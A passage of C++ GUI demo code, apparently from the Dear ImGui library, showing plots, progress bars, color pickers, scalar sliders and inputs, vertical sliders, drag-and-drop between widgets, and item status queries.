0.0; if (!animate || refresh_time == 0.0) refresh_time = ImGui::GetTime(); while (refresh_time < ImGui::GetTime()) // Create dummy data at fixed 60 hz rate for the demo { static float phase = 0.0f; values[values_offset] = cosf(phase); values_offset = (values_offset+1) % IM_ARRAYSIZE(values); phase += 0.10f*values_offset; refresh_time += 1.0f/60.0f; } // Plots can display overlay texts // (in this example, we will display an average value) { float average = 0.0f; for (int n = 0; n < IM_ARRAYSIZE(values); n++) average += values[n]; average /= (float)IM_ARRAYSIZE(values); char overlay[32]; sprintf(overlay, "avg %f", average); ImGui::PlotLines("Lines", values, IM_ARRAYSIZE(values), values_offset, overlay, -1.0f, 1.0f, ImVec2(0,80)); } ImGui::PlotHistogram("Histogram", arr, IM_ARRAYSIZE(arr), 0, NULL, 0.0f, 1.0f, ImVec2(0,80)); // Use functions to generate output // FIXME: This is rather awkward because current plot API only pass in indices. We probably want an API passing floats and user provide sample rate/count. struct Funcs { static float Sin(void*, int i) { return sinf(i * 0.1f); } static float Saw(void*, int i) { return (i & 1) ? 1.0f : -1.0f; } }; static int func_type = 0, display_count = 70; ImGui::Separator(); ImGui::SetNextItemWidth(100); ImGui::Combo("func", &func_type, "Sin\0Saw\0"); ImGui::SameLine(); ImGui::SliderInt("Sample count", &display_count, 1, 400); float (*func)(void*, int) = (func_type == 0) ? Funcs::Sin : Funcs::Saw; ImGui::PlotLines("Lines", func, NULL, display_count, 0, NULL, -1.0f, 1.0f, ImVec2(0,80)); ImGui::PlotHistogram("Histogram", func, NULL, display_count, 0, NULL, -1.0f, 1.0f, ImVec2(0,80)); ImGui::Separator(); // Animate a simple progress bar static float progress = 0.0f, progress_dir = 1.0f; if (animate) { progress += progress_dir * 0.4f * ImGui::GetIO().DeltaTime; if (progress >= +1.1f) { progress = +1.1f; progress_dir *= -1.0f; } if (progress <= -0.1f) { progress = -0.1f; progress_dir *= -1.0f; } } // Typically we would use ImVec2(-1.0f,0.0f) or ImVec2(-FLT_MIN,0.0f) to use all available width, // or ImVec2(width,0.0f) for a specified width. ImVec2(0.0f,0.0f) uses ItemWidth. ImGui::ProgressBar(progress, ImVec2(0.0f,0.0f)); ImGui::SameLine(0.0f, ImGui::GetStyle().ItemInnerSpacing.x); ImGui::Text("Progress Bar"); float progress_saturated = (progress < 0.0f) ? 0.0f : (progress > 1.0f) ? 1.0f : progress; char buf[32]; sprintf(buf, "%d/%d", (int)(progress_saturated*1753), 1753); ImGui::ProgressBar(progress, ImVec2(0.f,0.f), buf); ImGui::TreePop(); } if (ImGui::TreeNode("Color/Picker Widgets")) { static ImVec4 color = ImVec4(114.0f/255.0f, 144.0f/255.0f, 154.0f/255.0f, 200.0f/255.0f); static bool alpha_preview = true; static bool alpha_half_preview = false; static bool drag_and_drop = true; static bool options_menu = true; static bool hdr = false; ImGui::Checkbox("With Alpha Preview", &alpha_preview); ImGui::Checkbox("With Half Alpha Preview", &alpha_half_preview); ImGui::Checkbox("With Drag and Drop", &drag_and_drop); ImGui::Checkbox("With Options Menu", &options_menu); ImGui::SameLine(); HelpMarker("Right-click on the individual color widget to show options."); ImGui::Checkbox("With HDR", &hdr); ImGui::SameLine(); HelpMarker("Currently all this does is to lift the 0..1 limits on dragging widgets."); ImGuiColorEditFlags misc_flags = (hdr ? ImGuiColorEditFlags_HDR : 0) | (drag_and_drop ? 0 : ImGuiColorEditFlags_NoDragDrop) | (alpha_half_preview ? ImGuiColorEditFlags_AlphaPreviewHalf : (alpha_preview ? ImGuiColorEditFlags_AlphaPreview : 0)) | (options_menu ? 0 : ImGuiColorEditFlags_NoOptions); ImGui::Text("Color widget:"); ImGui::SameLine(); HelpMarker("Click on the colored square to open a color picker.\nCTRL+click on individual component to input value.\n"); ImGui::ColorEdit3("MyColor##1", (float*)&color, misc_flags); ImGui::Text("Color widget HSV with Alpha:"); ImGui::ColorEdit4("MyColor##2", (float*)&color, ImGuiColorEditFlags_DisplayHSV | misc_flags); ImGui::Text("Color widget with Float Display:"); ImGui::ColorEdit4("MyColor##2f", (float*)&color, ImGuiColorEditFlags_Float | misc_flags); ImGui::Text("Color button with Picker:"); ImGui::SameLine(); HelpMarker("With the ImGuiColorEditFlags_NoInputs flag you can hide all the slider/text inputs.\nWith the ImGuiColorEditFlags_NoLabel flag you can pass a non-empty label which will only be used for the tooltip and picker popup."); ImGui::ColorEdit4("MyColor##3", (float*)&color, ImGuiColorEditFlags_NoInputs | ImGuiColorEditFlags_NoLabel | misc_flags); ImGui::Text("Color button with Custom Picker Popup:"); // Generate a dummy default palette. The palette will persist and can be edited. static bool saved_palette_init = true; static ImVec4 saved_palette[32] = {}; if (saved_palette_init) { for (int n = 0; n < IM_ARRAYSIZE(saved_palette); n++) { ImGui::ColorConvertHSVtoRGB(n / 31.0f, 0.8f, 0.8f, saved_palette[n].x, saved_palette[n].y, saved_palette[n].z); saved_palette[n].w = 1.0f; // Alpha } saved_palette_init = false; } static ImVec4 backup_color; bool open_popup = ImGui::ColorButton("MyColor##3b", color, misc_flags); ImGui::SameLine(0, ImGui::GetStyle().ItemInnerSpacing.x); open_popup |= ImGui::Button("Palette"); if (open_popup) { ImGui::OpenPopup("mypicker"); backup_color = color; } if (ImGui::BeginPopup("mypicker")) { ImGui::Text("MY CUSTOM COLOR PICKER WITH AN AMAZING PALETTE!"); ImGui::Separator(); ImGui::ColorPicker4("##picker", (float*)&color, misc_flags | ImGuiColorEditFlags_NoSidePreview | ImGuiColorEditFlags_NoSmallPreview); ImGui::SameLine(); ImGui::BeginGroup(); // Lock X position ImGui::Text("Current"); ImGui::ColorButton("##current", color, ImGuiColorEditFlags_NoPicker | ImGuiColorEditFlags_AlphaPreviewHalf, ImVec2(60,40)); ImGui::Text("Previous"); if (ImGui::ColorButton("##previous", backup_color, ImGuiColorEditFlags_NoPicker | ImGuiColorEditFlags_AlphaPreviewHalf, ImVec2(60,40))) color = backup_color; ImGui::Separator(); ImGui::Text("Palette"); for (int n = 0; n < IM_ARRAYSIZE(saved_palette); n++) { ImGui::PushID(n); if ((n % 8) != 0) ImGui::SameLine(0.0f, ImGui::GetStyle().ItemSpacing.y); if (ImGui::ColorButton("##palette", saved_palette[n], ImGuiColorEditFlags_NoAlpha | ImGuiColorEditFlags_NoPicker | ImGuiColorEditFlags_NoTooltip, ImVec2(20,20))) color = ImVec4(saved_palette[n].x, saved_palette[n].y, saved_palette[n].z, color.w); // Preserve alpha! // Allow user to drop colors into each palette entry // (Note that ColorButton is already a drag source by default, unless using ImGuiColorEditFlags_NoDragDrop) if (ImGui::BeginDragDropTarget()) { if (const ImGuiPayload* payload = ImGui::AcceptDragDropPayload(IMGUI_PAYLOAD_TYPE_COLOR_3F)) memcpy((float*)&saved_palette[n], payload->Data, sizeof(float) * 3); if (const ImGuiPayload* payload = ImGui::AcceptDragDropPayload(IMGUI_PAYLOAD_TYPE_COLOR_4F)) memcpy((float*)&saved_palette[n], payload->Data, sizeof(float) * 4); ImGui::EndDragDropTarget(); } ImGui::PopID(); } ImGui::EndGroup(); ImGui::EndPopup(); } ImGui::Text("Color button only:"); ImGui::ColorButton("MyColor##3c", *(ImVec4*)&color, misc_flags, ImVec2(80,80)); ImGui::Text("Color picker:"); static bool alpha = true; static bool alpha_bar = true; static bool side_preview = true; static bool ref_color = false; static ImVec4 ref_color_v(1.0f,0.0f,1.0f,0.5f); static int display_mode = 0; static int picker_mode = 0; ImGui::Checkbox("With Alpha", &alpha); ImGui::Checkbox("With Alpha Bar", &alpha_bar); ImGui::Checkbox("With Side Preview", &side_preview); if (side_preview) { ImGui::SameLine(); ImGui::Checkbox("With Ref Color", &ref_color); if (ref_color) { ImGui::SameLine(); ImGui::ColorEdit4("##RefColor", &ref_color_v.x, ImGuiColorEditFlags_NoInputs | misc_flags); } } ImGui::Combo("Display Mode", &display_mode, "Auto/Current\0None\0RGB Only\0HSV Only\0Hex Only\0"); ImGui::SameLine(); HelpMarker("ColorEdit defaults to displaying RGB inputs if you don't specify a display mode, but the user can change it with a right-click.\n\nColorPicker defaults to displaying RGB+HSV+Hex if you don't specify a display mode.\n\nYou can change the defaults using SetColorEditOptions()."); ImGui::Combo("Picker Mode", &picker_mode, "Auto/Current\0Hue bar + SV rect\0Hue wheel + SV triangle\0"); ImGui::SameLine(); HelpMarker("User can right-click the picker to change mode."); ImGuiColorEditFlags flags = misc_flags; if (!alpha) flags |= ImGuiColorEditFlags_NoAlpha; // This is by default if you call ColorPicker3() instead of ColorPicker4() if (alpha_bar) flags |= ImGuiColorEditFlags_AlphaBar; if (!side_preview) flags |= ImGuiColorEditFlags_NoSidePreview; if (picker_mode == 1) flags |= ImGuiColorEditFlags_PickerHueBar; if (picker_mode == 2) flags |= ImGuiColorEditFlags_PickerHueWheel; if (display_mode == 1) flags |= ImGuiColorEditFlags_NoInputs; // Disable all RGB/HSV/Hex displays if (display_mode == 2) flags |= ImGuiColorEditFlags_DisplayRGB; // Override display mode if (display_mode == 3) flags |= ImGuiColorEditFlags_DisplayHSV; if (display_mode == 4) flags |= ImGuiColorEditFlags_DisplayHex; ImGui::ColorPicker4("MyColor##4", (float*)&color, flags, ref_color ? &ref_color_v.x : NULL); ImGui::Text("Programmatically set defaults:"); ImGui::SameLine(); HelpMarker("SetColorEditOptions() is designed to allow you to set boot-time default.\nWe don't have Push/Pop functions because you can force options on a per-widget basis if needed, and the user can change non-forced ones with the options menu.\nWe don't have a getter to avoid encouraging you to persistently save values that aren't forward-compatible."); if (ImGui::Button("Default: Uint8 + HSV + Hue Bar")) ImGui::SetColorEditOptions(ImGuiColorEditFlags_Uint8 | ImGuiColorEditFlags_DisplayHSV | ImGuiColorEditFlags_PickerHueBar); if (ImGui::Button("Default: Float + HDR + Hue Wheel")) ImGui::SetColorEditOptions(ImGuiColorEditFlags_Float | ImGuiColorEditFlags_HDR | ImGuiColorEditFlags_PickerHueWheel); // HSV encoded support (to avoid RGB<>HSV round trips and singularities when S==0 or V==0) static ImVec4 color_stored_as_hsv(0.23f, 1.0f, 1.0f, 1.0f); ImGui::Spacing(); ImGui::Text("HSV encoded colors"); ImGui::SameLine(); HelpMarker("By default, colors are given to ColorEdit and ColorPicker in RGB, but ImGuiColorEditFlags_InputHSV allows you to store colors as HSV and pass them to ColorEdit and ColorPicker as HSV. This comes with the added benefit that you can manipulate hue values with the picker even when saturation or value are zero."); ImGui::Text("Color widget with InputHSV:"); ImGui::ColorEdit4("HSV shown as RGB##1", (float*)&color_stored_as_hsv, ImGuiColorEditFlags_DisplayRGB | ImGuiColorEditFlags_InputHSV | ImGuiColorEditFlags_Float); ImGui::ColorEdit4("HSV shown as HSV##1", (float*)&color_stored_as_hsv, ImGuiColorEditFlags_DisplayHSV | ImGuiColorEditFlags_InputHSV | ImGuiColorEditFlags_Float); ImGui::DragFloat4("Raw HSV values", (float*)&color_stored_as_hsv, 0.01f, 0.0f, 1.0f); ImGui::TreePop(); } if (ImGui::TreeNode("Range Widgets")) { static float begin = 10, end = 90; static int begin_i = 100, end_i = 1000; ImGui::DragFloatRange2("range", &begin, &end, 0.25f, 0.0f, 100.0f, "Min: %.1f %%", "Max: %.1f %%"); ImGui::DragIntRange2("range int (no bounds)", &begin_i, &end_i, 5, 0, 0, "Min: %d units", "Max: %d units"); ImGui::TreePop(); } if (ImGui::TreeNode("Data Types")) { // The DragScalar/InputScalar/SliderScalar functions allow various data types: signed/unsigned int/long long and float/double // To avoid polluting the public API with all possible combinations, we use the ImGuiDataType enum to pass the type, // and passing all arguments by address. // This is the reason the test code below creates local variables to hold "zero" "one" etc. for each types. // In practice, if you frequently use a given type that is not covered by the normal API entry points, you can wrap it // yourself inside a 1 line function which can take typed argument as value instead of void*, and then pass their address // to the generic function. For example: // bool MySliderU64(const char *label, u64* value, u64 min = 0, u64 max = 0, const char* format = "%lld") // { // return SliderScalar(label, ImGuiDataType_U64, value, &min, &max, format); // } // Limits (as helper variables that we can take the address of) // Note that the SliderScalar function has a maximum usable range of half the natural type maximum, hence the /2 below. #ifndef LLONG_MIN ImS64 LLONG_MIN = -9223372036854775807LL - 1; ImS64 LLONG_MAX = 9223372036854775807LL; ImU64 ULLONG_MAX = (2ULL * 9223372036854775807LL + 1); #endif const char s8_zero = 0, s8_one = 1, s8_fifty = 50, s8_min = -128, s8_max = 127; const ImU8 u8_zero = 0, u8_one = 1, u8_fifty = 50, u8_min = 0, u8_max = 255; const short s16_zero = 0, s16_one = 1, s16_fifty = 50, s16_min = -32768, s16_max = 32767; const ImU16 u16_zero = 0, u16_one = 1, u16_fifty = 50, u16_min = 0, u16_max = 65535; const ImS32 s32_zero = 0, s32_one = 1, s32_fifty = 50, s32_min = INT_MIN/2, s32_max = INT_MAX/2, s32_hi_a = INT_MAX/2 - 100, s32_hi_b = INT_MAX/2; const ImU32 u32_zero = 0, u32_one = 1, u32_fifty = 50, u32_min = 0, u32_max = UINT_MAX/2, u32_hi_a = UINT_MAX/2 - 100, u32_hi_b = UINT_MAX/2; const ImS64 s64_zero = 0, s64_one = 1, s64_fifty = 50, s64_min = LLONG_MIN/2, s64_max = LLONG_MAX/2, s64_hi_a = LLONG_MAX/2 - 100, s64_hi_b = LLONG_MAX/2; const ImU64 u64_zero = 0, u64_one = 1, u64_fifty = 50, u64_min = 0, u64_max = ULLONG_MAX/2, u64_hi_a = ULLONG_MAX/2 - 100, u64_hi_b = ULLONG_MAX/2; const float f32_zero = 0.f, f32_one = 1.f, f32_lo_a = -10000000000.0f, f32_hi_a = +10000000000.0f; const double f64_zero = 0., f64_one = 1., f64_lo_a = -1000000000000000.0, f64_hi_a = +1000000000000000.0; // State static char s8_v = 127; static ImU8 u8_v = 255; static short s16_v = 32767; static ImU16 u16_v = 65535; static ImS32 s32_v = -1; static ImU32 u32_v = (ImU32)-1; static ImS64 s64_v = -1; static ImU64 u64_v = (ImU64)-1; static float f32_v = 0.123f; static double f64_v = 90000.01234567890123456789; const float drag_speed = 0.2f; static bool drag_clamp = false; ImGui::Text("Drags:"); ImGui::Checkbox("Clamp integers to 0..50", &drag_clamp); ImGui::SameLine(); HelpMarker("As with every widgets in dear imgui, we never modify values unless there is a user interaction.\nYou can override the clamping limits by using CTRL+Click to input a value."); ImGui::DragScalar("drag s8", ImGuiDataType_S8, &s8_v, drag_speed, drag_clamp ? &s8_zero : NULL, drag_clamp ? &s8_fifty : NULL); ImGui::DragScalar("drag u8", ImGuiDataType_U8, &u8_v, drag_speed, drag_clamp ? &u8_zero : NULL, drag_clamp ? &u8_fifty : NULL, "%u ms"); ImGui::DragScalar("drag s16", ImGuiDataType_S16, &s16_v, drag_speed, drag_clamp ? &s16_zero : NULL, drag_clamp ? &s16_fifty : NULL); ImGui::DragScalar("drag u16", ImGuiDataType_U16, &u16_v, drag_speed, drag_clamp ? &u16_zero : NULL, drag_clamp ? &u16_fifty : NULL, "%u ms"); ImGui::DragScalar("drag s32", ImGuiDataType_S32, &s32_v, drag_speed, drag_clamp ? &s32_zero : NULL, drag_clamp ? &s32_fifty : NULL); ImGui::DragScalar("drag u32", ImGuiDataType_U32, &u32_v, drag_speed, drag_clamp ? &u32_zero : NULL, drag_clamp ? &u32_fifty : NULL, "%u ms"); ImGui::DragScalar("drag s64", ImGuiDataType_S64, &s64_v, drag_speed, drag_clamp ? &s64_zero : NULL, drag_clamp ? &s64_fifty : NULL); ImGui::DragScalar("drag u64", ImGuiDataType_U64, &u64_v, drag_speed, drag_clamp ? &u64_zero : NULL, drag_clamp ? &u64_fifty : NULL); ImGui::DragScalar("drag float", ImGuiDataType_Float, &f32_v, 0.005f, &f32_zero, &f32_one, "%f", 1.0f); ImGui::DragScalar("drag float ^2", ImGuiDataType_Float, &f32_v, 0.005f, &f32_zero, &f32_one, "%f", 2.0f); ImGui::SameLine(); HelpMarker("You can use the 'power' parameter to increase tweaking precision on one side of the range."); ImGui::DragScalar("drag double", ImGuiDataType_Double, &f64_v, 0.0005f, &f64_zero, NULL, "%.10f grams", 1.0f); ImGui::DragScalar("drag double ^2", ImGuiDataType_Double, &f64_v, 0.0005f, &f64_zero, &f64_one, "0 < %.10f < 1", 2.0f); ImGui::Text("Sliders"); ImGui::SliderScalar("slider s8 full", ImGuiDataType_S8, &s8_v, &s8_min, &s8_max, "%d"); ImGui::SliderScalar("slider u8 full", ImGuiDataType_U8, &u8_v, &u8_min, &u8_max, "%u"); ImGui::SliderScalar("slider s16 full", ImGuiDataType_S16, &s16_v, &s16_min, &s16_max, "%d"); ImGui::SliderScalar("slider u16 full", ImGuiDataType_U16, &u16_v, &u16_min, &u16_max, "%u"); ImGui::SliderScalar("slider s32 low", ImGuiDataType_S32, &s32_v, &s32_zero, &s32_fifty,"%d"); ImGui::SliderScalar("slider s32 high", ImGuiDataType_S32, &s32_v, &s32_hi_a, &s32_hi_b, "%d"); ImGui::SliderScalar("slider s32 full", ImGuiDataType_S32, &s32_v, &s32_min, &s32_max, "%d"); ImGui::SliderScalar("slider u32 low", ImGuiDataType_U32, &u32_v, &u32_zero, &u32_fifty,"%u"); ImGui::SliderScalar("slider u32 high", ImGuiDataType_U32, &u32_v, &u32_hi_a, &u32_hi_b, "%u"); ImGui::SliderScalar("slider u32 full", ImGuiDataType_U32, &u32_v, &u32_min, &u32_max, "%u"); ImGui::SliderScalar("slider s64 low", ImGuiDataType_S64, &s64_v, &s64_zero, &s64_fifty,"%I64d"); ImGui::SliderScalar("slider s64 high", ImGuiDataType_S64, &s64_v, &s64_hi_a, &s64_hi_b, "%I64d"); ImGui::SliderScalar("slider s64 full", ImGuiDataType_S64, &s64_v, &s64_min, &s64_max, "%I64d"); ImGui::SliderScalar("slider u64 low", ImGuiDataType_U64, &u64_v, &u64_zero, &u64_fifty,"%I64u ms"); ImGui::SliderScalar("slider u64 high", ImGuiDataType_U64, &u64_v, &u64_hi_a, &u64_hi_b, "%I64u ms"); ImGui::SliderScalar("slider u64 full", ImGuiDataType_U64, &u64_v, &u64_min, &u64_max, "%I64u ms"); ImGui::SliderScalar("slider float low", ImGuiDataType_Float, &f32_v, &f32_zero, &f32_one); ImGui::SliderScalar("slider float low^2", ImGuiDataType_Float, &f32_v, &f32_zero, &f32_one, "%.10f", 2.0f); ImGui::SliderScalar("slider float high", ImGuiDataType_Float, &f32_v, &f32_lo_a, &f32_hi_a, "%e"); ImGui::SliderScalar("slider double low", ImGuiDataType_Double, &f64_v, &f64_zero, &f64_one, "%.10f grams", 1.0f); ImGui::SliderScalar("slider double low^2",ImGuiDataType_Double, &f64_v, &f64_zero, &f64_one, "%.10f", 2.0f); ImGui::SliderScalar("slider double high", ImGuiDataType_Double, &f64_v, &f64_lo_a, &f64_hi_a, "%e grams", 1.0f); static bool inputs_step = true; ImGui::Text("Inputs"); ImGui::Checkbox("Show step buttons", &inputs_step); ImGui::InputScalar("input s8", ImGuiDataType_S8, &s8_v, inputs_step ? &s8_one : NULL, NULL, "%d"); ImGui::InputScalar("input u8", ImGuiDataType_U8, &u8_v, inputs_step ? &u8_one : NULL, NULL, "%u"); ImGui::InputScalar("input s16", ImGuiDataType_S16, &s16_v, inputs_step ? &s16_one : NULL, NULL, "%d"); ImGui::InputScalar("input u16", ImGuiDataType_U16, &u16_v, inputs_step ? &u16_one : NULL, NULL, "%u"); ImGui::InputScalar("input s32", ImGuiDataType_S32, &s32_v, inputs_step ? &s32_one : NULL, NULL, "%d"); ImGui::InputScalar("input s32 hex", ImGuiDataType_S32, &s32_v, inputs_step ? &s32_one : NULL, NULL, "%08X", ImGuiInputTextFlags_CharsHexadecimal); ImGui::InputScalar("input u32", ImGuiDataType_U32, &u32_v, inputs_step ? &u32_one : NULL, NULL, "%u"); ImGui::InputScalar("input u32 hex", ImGuiDataType_U32, &u32_v, inputs_step ? &u32_one : NULL, NULL, "%08X", ImGuiInputTextFlags_CharsHexadecimal); ImGui::InputScalar("input s64", ImGuiDataType_S64, &s64_v, inputs_step ? &s64_one : NULL); ImGui::InputScalar("input u64", ImGuiDataType_U64, &u64_v, inputs_step ? &u64_one : NULL); ImGui::InputScalar("input float", ImGuiDataType_Float, &f32_v, inputs_step ? &f32_one : NULL); ImGui::InputScalar("input double", ImGuiDataType_Double, &f64_v, inputs_step ? &f64_one : NULL); ImGui::TreePop(); } if (ImGui::TreeNode("Multi-component Widgets")) { static float vec4f[4] = { 0.10f, 0.20f, 0.30f, 0.44f }; static int vec4i[4] = { 1, 5, 100, 255 }; ImGui::InputFloat2("input float2", vec4f); ImGui::DragFloat2("drag float2", vec4f, 0.01f, 0.0f, 1.0f); ImGui::SliderFloat2("slider float2", vec4f, 0.0f, 1.0f); ImGui::InputInt2("input int2", vec4i); ImGui::DragInt2("drag int2", vec4i, 1, 0, 255); ImGui::SliderInt2("slider int2", vec4i, 0, 255); ImGui::Spacing(); ImGui::InputFloat3("input float3", vec4f); ImGui::DragFloat3("drag float3", vec4f, 0.01f, 0.0f, 1.0f); ImGui::SliderFloat3("slider float3", vec4f, 0.0f, 1.0f); ImGui::InputInt3("input int3", vec4i); ImGui::DragInt3("drag int3", vec4i, 1, 0, 255); ImGui::SliderInt3("slider int3", vec4i, 0, 255); ImGui::Spacing(); ImGui::InputFloat4("input float4", vec4f); ImGui::DragFloat4("drag float4", vec4f, 0.01f, 0.0f, 1.0f); ImGui::SliderFloat4("slider float4", vec4f, 0.0f, 1.0f); ImGui::InputInt4("input int4", vec4i); ImGui::DragInt4("drag int4", vec4i, 1, 0, 255); ImGui::SliderInt4("slider int4", vec4i, 0, 255); ImGui::TreePop(); } if (ImGui::TreeNode("Vertical Sliders")) { const float spacing = 4; ImGui::PushStyleVar(ImGuiStyleVar_ItemSpacing, ImVec2(spacing, spacing)); static int int_value = 0; ImGui::VSliderInt("##int", ImVec2(18,160), &int_value, 0, 5); ImGui::SameLine(); static float values[7] = { 0.0f, 0.60f, 0.35f, 0.9f, 0.70f, 0.20f, 0.0f }; ImGui::PushID("set1"); for (int i = 0; i < 7; i++) { if (i > 0) ImGui::SameLine(); ImGui::PushID(i); ImGui::PushStyleColor(ImGuiCol_FrameBg, (ImVec4)ImColor::HSV(i/7.0f, 0.5f, 0.5f)); ImGui::PushStyleColor(ImGuiCol_FrameBgHovered, (ImVec4)ImColor::HSV(i/7.0f, 0.6f, 0.5f)); ImGui::PushStyleColor(ImGuiCol_FrameBgActive, (ImVec4)ImColor::HSV(i/7.0f, 0.7f, 0.5f)); ImGui::PushStyleColor(ImGuiCol_SliderGrab, (ImVec4)ImColor::HSV(i/7.0f, 0.9f, 0.9f)); ImGui::VSliderFloat("##v", ImVec2(18,160), &values[i], 0.0f, 1.0f, ""); if (ImGui::IsItemActive() || ImGui::IsItemHovered()) ImGui::SetTooltip("%.3f", values[i]); ImGui::PopStyleColor(4); ImGui::PopID(); } ImGui::PopID(); ImGui::SameLine(); ImGui::PushID("set2"); static float values2[4] = { 0.20f, 0.80f, 0.40f, 0.25f }; const int rows = 3; const ImVec2 small_slider_size(18, (float)(int)((160.0f - (rows - 1) * spacing) / rows)); for (int nx = 0; nx < 4; nx++) { if (nx > 0) ImGui::SameLine(); ImGui::BeginGroup(); for (int ny = 0; ny < rows; ny++) { ImGui::PushID(nx*rows+ny); ImGui::VSliderFloat("##v", small_slider_size, &values2[nx], 0.0f, 1.0f, ""); if (ImGui::IsItemActive() || ImGui::IsItemHovered()) ImGui::SetTooltip("%.3f", values2[nx]); ImGui::PopID(); } ImGui::EndGroup(); } ImGui::PopID(); ImGui::SameLine(); ImGui::PushID("set3"); for (int i = 0; i < 4; i++) { if (i > 0) ImGui::SameLine(); ImGui::PushID(i); ImGui::PushStyleVar(ImGuiStyleVar_GrabMinSize, 40); ImGui::VSliderFloat("##v", ImVec2(40,160), &values[i], 0.0f, 1.0f, "%.2f\nsec"); ImGui::PopStyleVar(); ImGui::PopID(); } ImGui::PopID(); ImGui::PopStyleVar(); ImGui::TreePop(); } if (ImGui::TreeNode("Drag and Drop")) { if (ImGui::TreeNode("Drag and drop in standard widgets")) { // ColorEdit widgets automatically act as drag source and drag target. // They are using standardized payload strings IMGUI_PAYLOAD_TYPE_COLOR_3F and IMGUI_PAYLOAD_TYPE_COLOR_4F to allow your own widgets // to use colors in their drag and drop interaction. Also see the demo in Color Picker -> Palette demo. HelpMarker("You can drag from the colored squares."); static float col1[3] = { 1.0f, 0.0f, 0.2f }; static float col2[4] = { 0.4f, 0.7f, 0.0f, 0.5f }; ImGui::ColorEdit3("color 1", col1); ImGui::ColorEdit4("color 2", col2); ImGui::TreePop(); } if (ImGui::TreeNode("Drag and drop to copy/swap items")) { enum Mode { Mode_Copy, Mode_Move, Mode_Swap }; static int mode = 0; if (ImGui::RadioButton("Copy", mode == Mode_Copy)) { mode = Mode_Copy; } ImGui::SameLine(); if (ImGui::RadioButton("Move", mode == Mode_Move)) { mode = Mode_Move; } ImGui::SameLine(); if (ImGui::RadioButton("Swap", mode == Mode_Swap)) { mode = Mode_Swap; } static const char* names[9] = { "Bobby", "Beatrice", "Betty", "Brianna", "Barry", "Bernard", "Bibi", "Blaine", "Bryn" }; for (int n = 0; n < IM_ARRAYSIZE(names); n++) { ImGui::PushID(n); if ((n % 3) != 0) ImGui::SameLine(); ImGui::Button(names[n], ImVec2(60,60)); // Our buttons are both drag sources and drag targets here! if (ImGui::BeginDragDropSource(ImGuiDragDropFlags_None)) { ImGui::SetDragDropPayload("DND_DEMO_CELL", &n, sizeof(int)); // Set payload to carry the index of our item (could be anything) if (mode == Mode_Copy) { ImGui::Text("Copy %s", names[n]); } // Display preview (could be anything, e.g. when dragging an image we could decide to display the filename and a small preview of the image, etc.) if (mode == Mode_Move) { ImGui::Text("Move %s", names[n]); } if (mode == Mode_Swap) { ImGui::Text("Swap %s", names[n]); } ImGui::EndDragDropSource(); } if (ImGui::BeginDragDropTarget()) { if (const ImGuiPayload* payload = ImGui::AcceptDragDropPayload("DND_DEMO_CELL")) { IM_ASSERT(payload->DataSize == sizeof(int)); int payload_n = *(const int*)payload->Data; if (mode == Mode_Copy) { names[n] = names[payload_n]; } if (mode == Mode_Move) { names[n] = names[payload_n]; names[payload_n] = ""; } if (mode == Mode_Swap) { const char* tmp = names[n]; names[n] = names[payload_n]; names[payload_n] = tmp; } } ImGui::EndDragDropTarget(); } ImGui::PopID(); } ImGui::TreePop(); } if (ImGui::TreeNode("Drag to reorder items (simple)")) { // Simple reordering HelpMarker("We don't use the drag and drop api at all here! Instead we query when the item is held but not hovered, and order items accordingly."); static const char* item_names[] = { "Item One", "Item Two", "Item Three", "Item Four", "Item Five" }; for (int n = 0; n < IM_ARRAYSIZE(item_names); n++) { const char* item = item_names[n]; ImGui::Selectable(item); if (ImGui::IsItemActive() && !ImGui::IsItemHovered()) { int n_next = n + (ImGui::GetMouseDragDelta(0).y < 0.f ? -1 : 1); if (n_next >= 0 && n_next < IM_ARRAYSIZE(item_names)) { item_names[n] = item_names[n_next]; item_names[n_next] = item; ImGui::ResetMouseDragDelta(); } } } ImGui::TreePop(); } ImGui::TreePop(); } if (ImGui::TreeNode("Querying Status (Active/Focused/Hovered etc.)")) { // Submit an item (various types available) so we can query their status in the following block. static int item_type = 1; ImGui::Combo("Item Type", &item_type, "Text\0Button\0Button (w/ repeat)\0Checkbox\0SliderFloat\0InputText\0InputFloat\0InputFloat3\0ColorEdit4\0MenuItem\0TreeNode\0TreeNode (w/ double-click)\0ListBox\0", 20); ImGui::SameLine(); HelpMarker("Testing how various types of items are interacting with the IsItemXXX functions."); bool ret = false; static bool b = false; static float col4f[4] = { 1.0f, 0.5, 0.0f, 1.0f }; static char str[16] = {}; if (item_type == 0) { ImGui::Text("ITEM: Text"); } // Testing text items with no identifier/interaction if (item_type == 1) { ret = ImGui::Button("ITEM: Button"); } // Testing button if (item_type == 2) { ImGui::PushButtonRepeat(true); ret = ImGui::Button("ITEM: Button"); ImGui::PopButtonRepeat(); } // Testing button (with repeater) if (item_type == 3) { ret = ImGui::Checkbox("ITEM: Checkbox", &b); } // Testing checkbox if (item_type == 4) { ret = ImGui::SliderFloat("ITEM: SliderFloat", &col4f[0], 0.0f, 1.0f); } // Testing basic item if (item_type == 5) { ret = ImGui::InputText("ITEM: InputText", &str[0], IM_ARRAYSIZE(str)); } // Testing input text (which handles tabbing) if (item_type == 6) { ret = ImGui::InputFloat("ITEM: InputFloat", col4f, 1.0f); } // Testing +/- buttons on scalar input if (item_type == 7) { ret = ImGui::InputFloat3("ITEM: InputFloat3", col4f); } // Testing multi-component items (IsItemXXX flags are reported merged) if (item_type == 8) { ret = ImGui::ColorEdit4("ITEM: ColorEdit4", col4f); } // Testing multi-component items (IsItemXXX flags are reported merged) if (item_type == 9) { ret = ImGui::MenuItem("ITEM: MenuItem"); } // Testing menu item (they use ImGuiButtonFlags_PressedOnRelease button policy) if (item_type == 10){ ret = ImGui::TreeNode("ITEM: TreeNode"); if (ret) ImGui::TreePop(); } // Testing tree node if (item_type == 11){ ret = ImGui::TreeNodeEx("ITEM: TreeNode w/ ImGuiTreeNodeFlags_OpenOnDoubleClick", ImGuiTreeNodeFlags_OpenOnDoubleClick | ImGuiTreeNodeFlags_NoTreePushOnOpen); } // Testing tree node with ImGuiButtonFlags_PressedOnDoubleClick button policy. if (item_type == 12){ const char* items[] = { "Apple", "Banana", "Cherry", "Kiwi" }; static int current = 1; ret = ImGui::ListBox("ITEM: ListBox", &current, items, IM_ARRAYSIZE(items), IM_ARRAYSIZE(items)); } // Display the value of IsItemHovered() and other common item state functions. // Note that the ImGuiHoveredFlags_XXX flags can be combined. // Because BulletText is an item itself and that would affect the output of IsItemXXX functions, // we query every state in a single call to avoid storing them and to simplify the code ImGui::BulletText( "Return value = %d\n" "IsItemFocused() = %d\n" "IsItemHovered() = %d\n" "IsItemHovered(_AllowWhenBlockedByPopup) = %d\n" 